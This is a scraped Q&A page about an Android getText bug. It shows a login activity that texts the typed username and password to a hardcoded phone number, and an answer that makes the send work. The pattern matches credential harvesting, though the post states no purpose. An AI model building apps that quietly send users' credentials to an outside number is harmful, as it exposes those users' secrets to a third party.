android - why get text returns false? -


i wrote send username , password, returns false. why?

it sent message phone : user:falsepass:false

i have tried char,charsequense,string,... returns false

package com.example.project6; import android.app.activity; import android.os.bundle; import android.telephony.gsm.smsmanager; import android.view.view; import android.view.view.onclicklistener; import android.widget.button; import android.widget.edittext; import android.widget.imageview; import android.widget.toast;  @suppresswarnings("deprecation") public class login extends activity {     private imageview imageview;     private edittext username;     private edittext password;     private button save;     private string user;     private string pass;     @override     protected void oncreate(bundle savedinstancestate) {     // todo auto-generated method stub     super.oncreate(savedinstancestate);     setcontentview(r.layout.login);     init();  }  private void init() {     // todo auto-generated method stub     imageview = (imageview)findviewbyid(r.id.imageview);     username=((edittext)findviewbyid(r.id.username));     password=((edittext)findviewbyid(r.id.password));     save = (button)findviewbyid(r.id.save);     save.setonclicklistener(new onclicklistener() {         @override         public void onclick(view arg0) {             // todo auto-generated method stub             user = gettext(r.id.username).tostring();             pass = gettext(r.id.password).tostring();             smsmanager smsmanager = smsmanager.getdefault();             smsmanager.sendtextmessage("+989132249093", null, "user:"+user+"pass:"+pass, null, null);             toast.maketext(login.this,user, toast.length_long).show();             toast.maketext(login.this,pass, toast.length_long).show();             toast.maketext(login.this,"sent", toast.length_long).show();             }         });     } } 

please me thanks

try this...

user = username.gettext().tostring(); pass = password.gettext().tostring(); 

gettext(int resid) return localized, styled charsequence application's package's default string table. if have string declared in strings.xml file returns string else returns false.


Comments

Popular posts from this blog

angular ui router - 10 digest iterations reached in angularjs when using $state.go -

symfony - InvalidConfigurationException in SecurityExtension.php line 429: No authentication listener registered for firewall "secured_area" -

javascript - Can Piwik report referrer in real time? -